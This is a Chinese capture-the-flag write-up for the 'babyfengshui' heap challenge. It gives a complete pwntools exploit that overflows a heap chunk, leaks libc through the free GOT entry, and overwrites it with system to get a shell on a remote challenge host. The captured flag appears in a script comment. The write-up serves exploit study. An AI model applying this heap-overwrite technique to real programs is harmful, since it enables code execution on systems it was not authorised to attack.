攻防世界 pwn进阶区----No.012 babyfengshui 解题思路

1.本题解题思路

1.先期工作

1.运行程序查看基本逻辑

创建用户

展示用户

更新用户

删除用户

到这里就可以猜测这题有可能堆上的题,重点查看删除堆的指针情况,以及堆溢出的情况。

2.运用checksec查看程序的保护措施

没有开启地址随机化,使得简单了许多。

3.打开ida审计源码

2.分析漏洞

1.用IDA_pro调试

可以看出主要的数据结构为:

  struct user {char *desc;char name[0x7c];
} user;struct user *store[50];

另外在设置用户描述时,程序有一些奇怪的保护:

要求&users[id]->desc[text_len] >= &users[id] - 4

猜测它使用这种保护来避免堆溢出。

然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。

3.调试程序

调试程序以获得构建堆溢出所需要的数据

4.exp的写法与调试

1.首先创造函数

def add_note(size,length,text):p.recvuntil('Action: ')p.sendline('0')p.recvuntil('size of description: ')p.sendline(str(size))p.recvuntil('name: ')p.sendline('AAA')p.recvuntil('text length: ')p.sendline(str(length))p.recvuntil('text: ')p.sendline(text)
def delete_note(idx):p.recvuntil('Action: ')p.sendline('1')p.recvuntil('index: ')p.sendline(str(idx))
def display_note(idx):p.recvuntil('Action: ')p.sendline('2')p.recvuntil('index: ')p.sendline(str(idx))p.recv()
def update_note(idx,length,text):p.recvuntil('Action: ')p.sendline('3')p.recvuntil('index: ')p.sendline(str(idx))p.recvuntil('text length: ')p.sendline(str(length))p.sendlineafter('text: ',text)

2.其次创建堆溢出

2.本题所涉及知识

1.系统内存分布图

2.malloc_chunk函数

struct malloc_chunk {/* #define INTERNAL_SIZE_T size_t */INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/struct malloc_chunk* bk;/* Only used for large blocks: pointer to next larger size.  */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;
};

整体的exp如下:

#!/usr/bin/python
#cyberpeace{a8cbc69fc283b507d582050faf5099f4}
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
#context.log_level = 'debug'
ip = "111.198.29.45"
port = 58337#p = process('./babyfengshui')
p=remote(ip,port)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf760a750)def add_note(size,length,text):p.recvuntil('Action: ')p.sendline('0')p.recvuntil('size of description: ')p.sendline(str(size))p.recvuntil('name: ')p.sendline('AAA')p.recvuntil('text length: ')p.sendline(str(length))p.recvuntil('text: ')p.sendline(text)
def delete_note(idx):p.recvuntil('Action: ')p.sendline('1')p.recvuntil('index: ')p.sendline(str(idx))
def display_note(idx):p.recvuntil('Action: ')p.sendline('2')p.recvuntil('index: ')p.sendline(str(idx))p.recv()
def update_note(idx,length,text):p.recvuntil('Action: ')p.sendline('3')p.recvuntil('index: ')p.sendline(str(idx))p.recvuntil('text length: ')p.sendline(str(length))p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
#gdb.attach(p)
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
#gdb.attach(p)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
#print(hex(elf.got['free']))
#print(hex(obj.dump('free')))
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr))
delete_note(2)
p.interactive()

3.反思与思考

参考资料:

https://www.cnblogs.com/alisecurity/p/5486458.html

https://firmianay.gitbooks.io/ctf-all-in-one/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.html

攻防世界 pwn进阶区----No.012 babyfengshui 解题思路相关推荐

  1. realloc函数UAF利用|攻防世界pwn进阶区supermarket

    文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...

  2. 攻防世界 Pwn 进阶 第二页

    00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...

  3. 攻防世界高手进阶区——dice_game

    攻防世界高手进阶区--dice_game 题目里面啥都没有. 一.分析文件 checksec 只有栈溢出保护关闭了,其他都是开着的. 运行 可以看出是要猜数字,猜对50次. ida逆向 __int64 ...

  4. 攻防世界高手进阶区 ——forgot

    攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...

  5. 攻防世界高手进阶区 ——反应釜开关控制

    攻防世界高手进阶区 --反应釜开关控制 题目没什么信息.在这里插入图片描述 1.分析文件 运行一下,可能为栈溢出的题. checkse 无栈溢出保护,无地址随机化,只有堆栈不可执行. 栈溢出可能性大. ...

  6. 攻防世界MISC进阶区刷题记录

    文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...

  7. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  8. 攻防世界web进阶区Web_php_wrong_nginx_config详解

    攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...

  9. 攻防世界web进阶区ics-05详解

    攻防世界web进阶区ics-05详解 题目 解法 preg_replace ctype_alnum strpos X-Forwarded-For 题目 我们只能点击一个地方 解法 御剑扫描有一个css ...

最新文章

  1. 天线的近场区和远场区
  2. SEO优化:网站优化的五大步骤
  3. PHP封装返回Ajax字符串和JSON数组
  4. GSON反序列化时,字符串被转换成科学记数法的问题处理
  5. fiddler抓包工具简介
  6. [机器学习笔记]Note11--聚类
  7. KubeVela v1.2 发布:你要的图形化操作控制台 VelaUX 终于来了
  8. 搭建bitwarden_Docker轻松部署Bitwarden私有密码管理系统服务
  9. Html中的map标签
  10. linux下gsl怎么运行,linux下gsl安装问题与解决
  11. Js中对URL进行转码与解码
  12. Computer Hardware ID(CHID)及驱动推送
  13. 怎样关闭vivo的HTML查看器,vivo安全模式在哪儿关闭?
  14. qq连连看看外挂-我的QQ连连看“辅助”程序源码
  15. 经纬度十进制与度分秒换算及数据库实现
  16. t420i升级固态硬盘提升_老电脑想升级,如何选购最适合的固态硬盘
  17. 【Harmony OS】【ArkUI】ets开发 基础页面布局与数据连接
  18. 安装、选择-如何制作U盘系统盘以及U盘安装操作系统的方法 -by小雨
  19. Starling学习笔记
  20. typora配置好smms后还是typora上传图片失败:image load failed。

热门文章

  1. 百度地图爬虫——小试牛刀
  2. Hive alter column
  3. php 图片印章_PHP实现中文圆形印章特效
  4. 按照拼音排序的SQL语句条件
  5. 前端ui组件(1):日程排班—11个优秀JavaScript 日历插件
  6. 如何有效激励员工,提高积极性
  7. JME 3 入门教程 3 - Hello Assets
  8. QT提取字符串中的数字
  9. day52 css选择器和特性
  10. SEER见证人操作指南